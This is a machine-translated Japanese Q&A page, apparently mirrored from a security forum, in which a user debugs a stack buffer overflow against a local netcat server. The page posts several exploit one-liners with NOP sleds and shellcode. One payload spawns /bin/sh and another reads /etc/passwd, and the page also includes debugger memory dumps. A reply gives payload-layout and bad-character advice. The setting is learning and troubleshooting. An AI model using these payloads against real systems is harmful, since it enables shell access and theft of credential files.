web-dev-qa-db-ja.com

サーバーへのバッファオーバーフロー

私は参照用のサーバーを持っています:Pastebin/ghJX69uH、これは私がネットキャットすることができ、それはメッセージの入力を要求します。

バッファオーバーフローに対して脆弱であることは知っていますが、シェルコードを実行できないようです。私は正常に戻りアドレスをNOPスライドにポイントし、/ bin/shにヒットしましたが、シェルを生成しません。これが私のコードです:

_echo "`python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "\xac\xf3\xfe\xbf"*10 + "\n"'`" | nc 127.0.0.1 1111
_

[NOP SLIDE | SHELLCODE (spawn Shell /bin/sh) | return address]を使用した単純なバッファオーバーフローです。

最初の画像は、戻りアドレスがNOPスライドに進むbffef3acであることを示しているため、すべてOKです。 2番目の画像は、シェルなしのSIG FAULTを示し、何も起こりません。

enter image description hereenter image description here

何が起きてる?私はebpを見て、奇妙な何かを示しました、私の\ x90の後に(私のシェルコードは何である必要があります)は違うのですか?何が間違っているのか、またはこれにどう対処するかについての洞察

_0xbffef42c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef43c: 0x90909090  0x90909090  0x90909090  0x90909090
0xbffef44c: 0x90909090  0x50c03190  0x732f2f68  0x622f6868
0xbffef45c: 0xe3896e69  0xbffef468  0x00000000  0x6e69622f
0xbffef46c: 0x68732f2f  0x00000000  0xbffef3ac  0xbffef3ac
0xbffef47c: 0xbffef3ac  0xbffef3ac  0xbffef3ac  0xbffef3ac
0xbffef48c: 0xbffef3ac  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
_

編集1:コードのフォーマットはnumberphileから、シェルコードは http://Shell-storm.org/shellcode/files/shellcodeから-827.php 、実行してシェルを生成します。シェルコードと戻りアドレスの間に示唆されているように、パディングを追加しようとしました(Aを入れました)が、奇妙なことが起こります。

_New code: echo "`python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"  + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"'`" | nc 127.0.0.1 1129


0xbffef42c: 0x90909090  0x90909090  0x90909090  0xc0319090
0xbffef43c: 0x2f2f6850  0x2f686873  0x896e6962  0x895350e3
0xbffef44c: 0xcd0bb0e1  0x41414180  0x41414141  0x41414141
0xbffef45c: 0x41414141  0x41414141  0x41414141  0x00000001
0xbffef46c: 0xbffef4ac  0x08049000  0x00000004  0xbffff4a4
0xbffef47c: 0xbffff490  0xbffff48c  0x00000004  0x00000000
0xbffef48c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef49c: 0x00000000  0x00000000  0x00000000  0x00000000
0xbffef4ac: 0x00000000  0x00000000  0x00000000  0x0000000
_

編集2:したがって、/ etc/passwdを出力するように管理できましたが、シェルコードを動作させてシェルを生成できません!

作品:/ etc/passwd

_echo "`python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80"  +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"'`" | nc 127.0.0.1 2010
_

動作しません:/ bin/sh

_echo "`python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"'`" | nc 127.0.0.1 3003
_
3
user153882

これを答えの形にして、余分なスペースとフォーマットを利用します。現在、問題を再現することはできませんが、ここで私が試してみます。

バッファオーバーフローのエクスプロイトを書いたことがあるときはいつでも、コードはNOPS + EIP POINTER + NOP BUFFER + SHELLCODEになります

例えば ​​:

buffer = "A" * 2000 + "\x8a\x32\x4e\x4e" + "\x90" * 8 + shellcode

"\x8a\x32\x4e\x4e"は返品先住所です

次に、悪用をクラッシュさせる可能性のある不良文字をテストすることをお勧めします。通常の容疑者0x000x0Aまたは0x0Dは見かけませんが、エクスプロイトの失敗の原因となっている文字が含まれている可能性があります。

"\xac\xf3\xfe\xbf"*10コードの目的は何ですか-これは戻りアドレスであると思いますが、なぜそれを10倍するのですか?

1
DKNUCKLES